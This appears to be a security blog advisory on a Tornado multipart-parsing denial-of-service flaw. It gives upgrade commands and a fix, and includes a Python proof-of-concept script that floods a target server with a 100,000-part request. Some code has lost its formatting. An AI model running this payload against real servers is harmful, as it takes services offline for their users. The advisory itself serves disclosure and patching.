Listen to this Post
The vulnerability identified as CVE-2026-31958 affects the Tornado Python web framework, a popular asynchronous networking library. This issue represents a denial-of-service attack vector that exploits the framework’s handling of `multipart/form-data` requests. The vulnerability stems from insufficient limits on the number of parts that can be contained within a single multipart request body, creating a scenario where malicious actors can craft specially designed requests that consume excessive system resources during parsing operations.
The technical flaw resides in the multipart parsing implementation where Tornado relies primarily on the `max_body_size` configuration parameter as the sole limiting factor for multipart data processing. This design choice creates a significant security gap because while `max_body_size` prevents overly large individual parts, it does not constrain the total number of parts that can be included in a single request.
More specifically, the vulnerable code path lies in `parse_multipart_form_data` within `httputil.py` at line 34. The function calls `data.split(b”–” + boundary + b”\r\n”)` before the `max_parts` check at line 35. A 600KB body with 100,000 parts creates a 100,000-element transient list first, then rejects it—resulting in transient memory amplification because each split element is a copy. This is a pre-authentication HTTP DoS.
The parsing process occurs synchronously on the main thread, meaning that each multipart request blocks the primary execution thread until completion. This synchronous nature amplifies the impact of resource exhaustion attacks, as multiple concurrent requests can effectively lock up the application’s processing capabilities. An attacker can exploit this weakness by submitting multipart requests containing thousands or even millions of individual parts, each with minimal data but collectively consuming enormous amounts of memory and processing time. Since the parsing occurs on the main thread, this creates a direct path to service disruption where legitimate requests cannot be processed while the system remains busy parsing malicious multipart data.
The vulnerability is particularly dangerous in high-traffic environments where the application’s main thread capacity is already constrained, as a single malicious request can effectively bring the entire service to a halt. This vulnerability maps to CWE-400, which covers Uncontrolled Resource Consumption.
DailyCVE Form:
Platform: Tornado (Python)
Version: <= 6.5.7
Vulnerability: Memory Amplification DoS
Severity: Medium
Date: 2026-09-01
Prediction: Patch expected 2026-09 (already fixed in 6.5.8)
What Undercode Say:
The fix involves counting separators without materializing the list. Instead of `data.split(b”–” + boundary + b”\r\n”)` which creates a massive transient list, the secure approach uses `data.count(b”–” + boundary)` first to check part count.
Check your Tornado version:
pip show tornado | grep Version
Verify if vulnerable:
python -c "import tornado; print(tornado.version)"
Update to patched version:
pip install --upgrade tornado>=6.5.8
Check for exploitation attempts in logs:
grep -i "multipart" /var/log/your_app.log | wc -l
Monitor memory usage during multipart requests:
watch -n 1 'ps aux | grep python | grep -v grep'
Exploit: (Educational Purposes!)
The Proof of Concept demonstrates the vulnerability:
poc.py - Educational demonstration only
import requests
Boundary and payload construction
boundary = "-WebKitFormBoundary"
parts = 100000 100k parts in ~600KB body
data = b""
for i in range(parts):
data += b"--" + boundary.encode() + b"\r\n"
data += b'Content-Disposition: form-data; name="field"\r\n\r\n'
data += b"x\r\n"
data += b"--" + boundary.encode() + b"--\r\n"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
Send malicious request to vulnerable server
response = requests.post(
"http://target-server/upload",
data=data,
headers=headers
)
print(f"Status: {response.status_code}")
The vulnerable code in Tornado (httputil.py:34-35):
VULNERABLE - DO NOT USE
parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n") :34 - huge list created first
if len(parts) > config.max_parts: :35 - check after allocation
raise HTTPInputError("multipart/form-data has too many parts")
Protection:
- Upgrade Tornado to version 6.5.8 or later which implements the fix
- Apply the secure pattern – count separators without materializing:
FIXED - Secure implementation separator = b"--" + boundary + b"\r\n" part_count = data[:final_boundary_index].count(separator) Count without allocating list if part_count > config.max_parts: raise HTTPInputError("multipart/form-data has too many parts") Then split only if under limit parts = data[:final_boundary_index].split(separator) - Implement rate limiting at the network or application level to restrict multipart request frequency
- Configure restrictive multipart parsing parameters and monitor for unusual patterns in multipart request handling
- Set `max_parts` configuration explicitly in your Tornado application if using a version that supports it
Impact:
- Pre-authentication HTTP DoS – attackers do not need any credentials
- Memory exhaustion – a 600KB body with 100k parts creates a transient list of 100k elements, each being a copy of the split data
- Main thread blocking – synchronous parsing blocks the event loop, preventing legitimate request processing
- Service disruption – single malicious request can bring entire service to a halt
- Resource amplification – small payload (600KB) triggers disproportionately large memory allocation
- Wide attack surface – affects all Tornado versions <= 6.5.7
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

